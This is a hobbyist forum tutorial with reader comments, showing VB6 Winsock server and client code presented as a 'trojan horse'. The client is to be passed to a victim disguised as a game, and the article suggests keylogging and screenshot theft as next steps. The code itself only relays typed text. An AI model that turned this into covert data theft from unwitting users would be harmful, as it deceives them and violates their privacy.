Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Trojan/Winsock in VB


Trojan/Winsock in VB

By ghostghost | 7083 Reads |
0     0

Okay i just got bored, so thought i'd write an article about Trojan Horse making in Visual Basic (VB6 to be exact, which is also Visual Basic 98).. I first wrote such a VB trojan when i was 13, so i think this should be pretty simple..

A. What's a trojan horse B. What we're gonna be using C. The Code -1.Server application –2.Client application D. Legal shit


A. What's a trojan horse


First of all you might ask: "What the hell is a trojan horse? is this programming or horseback riding ??" Well, if you know some history, or if you've seen the movie "Troy", you'll know the story of the big wooden horse that was filled with soldiers, and offered as a peace treaty and a gift, and when the town accepted it, at night, the soldiers sneaked out of it through a "backdoor" in it's butt and killed almost everyone in the town..

Well we dont wanna start cutting wood and making horses now do we? So i'll teach you how to do that Trojan on computers, and as you might have guessed, this is usually sent to a victim, and deposited in their computer, it seems to be a simple good application, like a small game you make for them, but secretly, this application gathers data from their computer and sends it directly to you...

I'll just teach you the part of sending the data and recieving it... So this is more like a winsock tutorial, but i think that's all you need to get a foothold in the wide trojan world... Some ideas of "info gathering" are like keylogging, taking screenshots every some minutes, knowing what webpages are visited, etc... And later i might write a tutorial about making a keylogger in VB....

PS: The trojan horse we're gonna make with a code as simple as this, IS detectable by MOST firewalls so this is just to give you an idea about how things work.

B. What we're gonna be using


We're gonna use Visual Basic 6 (same as Visual Basic 98) to make our little application. It will be made of two projects.

1_ The server application This one will be on your computer, this is where you're going to recieve the data the other user sends. To make it, we're gonna use: a. A listbox b. A winsock control c. 2 buttons

2_ The client application This one will be on your victem's computer, this is the application that will gather the data and send it to your server application. To make it, we're gonna use: a. A textbox b. A winsock control c. 2 buttons


C. The Code


Now for the good stuff! I'll start with the server application and explain it, and then give the client application, which will be quite self-explanatory...

1.Server application.

The listbox will be used to display the recieved data The winsock control will connect you to the other computer The first button will be to input the port and connect The second button is to close the connection and the program.

_Load up VB6, make a new project (Standard exe) _Right click in your toolbox, click on "Components", then find "Microsoft Winsock Control 6.0", check it and click Ok. You should now see a new tool in the toolbox. _Put in the form the items listed above, in a tidy way like http://img471.imageshack.us/img471/6674/trojan17bm.jpg _Make Command2 unvisible (Click on it and find "Visible - True" in the properties window)

*PS: the Winsock will not appear in the form when it's run. *we will be using Command1 for connecting, and Command2 for closing connection and closing the application. The reason why i didnt change the captions is to make the code clearer.

_Now for the code:

(A).Command1 double click on command on, which will open the code window, put this code there:

Private Sub Command1_Click() Port = InputBox("What port do you want to host on?") Winsock1.LocalPort = Port Winsock1.Listen command1.visible = false command2.visible = true End Sub

Line2: This gets what port you want to listen on. Line3: Sets your input as winsock's port. Line4: Sets winsock to listen to incoming connection. Line5: Makes command1 invisible. Line6: Makes command2 visible. Line1 and Line7 should already be there when you double click.

(B).Winsock control Double click on its little icon that should be on your form and put this code there:

–Part 1– Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID End Sub

Line1: "ConnectionRequest" means when another application tries to connect to your computer on the port we set in Command1's code. Line2: This sees if Winsock is closed, "<>" means "different" so if its not closed, "Winsock1.close" will close it. Line3: This accepts the connection, and now the two computers are connected!

–Part2– Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData Data, vbString, bytesTotal List1.Additem (data) End Sub

Line1: "DataArrival" This means that the following code will be manipulation of the recieved data. Line2: This gets ALL the recieved data, and sets it in a string called "data". Line3: Adds 'data' to the list.

(C).Command2 Double click Command2 in your form editor and add this code:

Private Sub Command2_Click() Winsock1.close End End Sub

Line2: This closes the winsock connection. Line3: Ends the application's process (Closes it)


This concludes the Server application part, to test it, just run the application, set the port "80" (That's the HTTP port, the one you connect to when you surf websites) then in your internet browser, put 127.0.0.1 (Which is your own IP address), something should be added to the listbox, if so, then your server application is working! You're on the right track!!

2.Client application.

I will just give you a screenshot of what the form might look, and the code unexplained, cause the first part explains almost everything, the rest can be easily discovered.

PS: Command2 should be set to invisible. Screenshot: http://img382.imageshack.us/img382/7604/trojan25da.jpg

Code:

Private Sub Command1_Click() IP = InputBox("What IP would you like to connect to?") Port = InputBox("What port do you want to connect to?") Winsock1.RemoteHost = IP Winsock1.RemotePort = Port Winsock1.Connect Command1.Visible = False Command2.Visible = True End Sub Private Sub Command2_Click() Winsock1.SendData (Text1.Text) End Sub Private Sub Form_Unload(Cancel As Integer) If Winsock1.State <> sckClosed Then Winsock1.Close End Sub Private Sub Winsock1_Connect() MsgBox "Connection established!" End Sub

Final Testing:

Compile the two applications into exe files, run the server application and host on any port, then run the client application and connect to 127.0.0.1 (Which is localhost, a.k.a every computer&#39;s IP on itself, thats the easiest explanation that can be given, and the quickest) and set the port to the same one you set in the server application. Now put some text in the client application and click the button, it should appear in the other one&#39;s listbox...

And if you want to connect to another computer, just put the server application there, and when prompted for the IP in your client application, just put the other person's IP (which you can get from their computer by going to www.whatismyip.com . Yes, there are other ways, but thats the easiest), but not all computers come with winsock installed, if it doesnt work one someone's computer, just download it's runtime files and install it on the computer (You can google for those)


And there you have it! This is something VERY BASIC, yet it took so much space! i hope it explains it and makes it really easy to understand, and this can constitute a solid base in all winsock-related communications.


D.Legal shit.


Well this shouldnt be shit cause its serious: I hold absolutely no responsability for what you might/will do with this information, use it at your own risk, it was written for educational purposes, and any other use will be at your own risk. AGAIN: i hold no responsability whatsoever to what might happen or what you might do.

							ice****ed (yep thats me!! And if you want to use this article somewhere else, plz give credit to me!)

Comments
SySTeM's avatar
SySTeM 18 years ago

Great article man, that would help a lot of people!

ghost's avatar
ghost 18 years ago

thx! i forgot to explain how winsock works … i'll add that later.. too tired now..

ghost's avatar
ghost 18 years ago

gj…sounds interesting, and i'll be sure to try it, as soon as i figure out how to work vb…lol

ghost's avatar
ghost 18 years ago

Hey really good artical will help me alot thxs

ghost's avatar
ghost 18 years ago

Nice article.

AldarHawk's avatar
AldarHawk 18 years ago

well written article. now you just need to write about how to inject it onto the victums computer without physical access ;)

ghost's avatar
ghost 18 years ago

I like this article.

ghost's avatar
ghost 18 years ago

man there are many sites explaining this, why don't you send them to vbmania.com.br or 127.0.0.1 ?

ghost's avatar
ghost 18 years ago

ups I'm wrong I gifted you an Awesome - xD i think it will help a lot everyone needs learn VB HD

ghost's avatar
ghost 18 years ago

bah

ghost's avatar
ghost 18 years ago

lol

ghost's avatar
ghost 18 years ago

man, like everyone else, thanks for the great article, i am quite new to vb, so this was a fun start to vb :D,gets a 5 / 5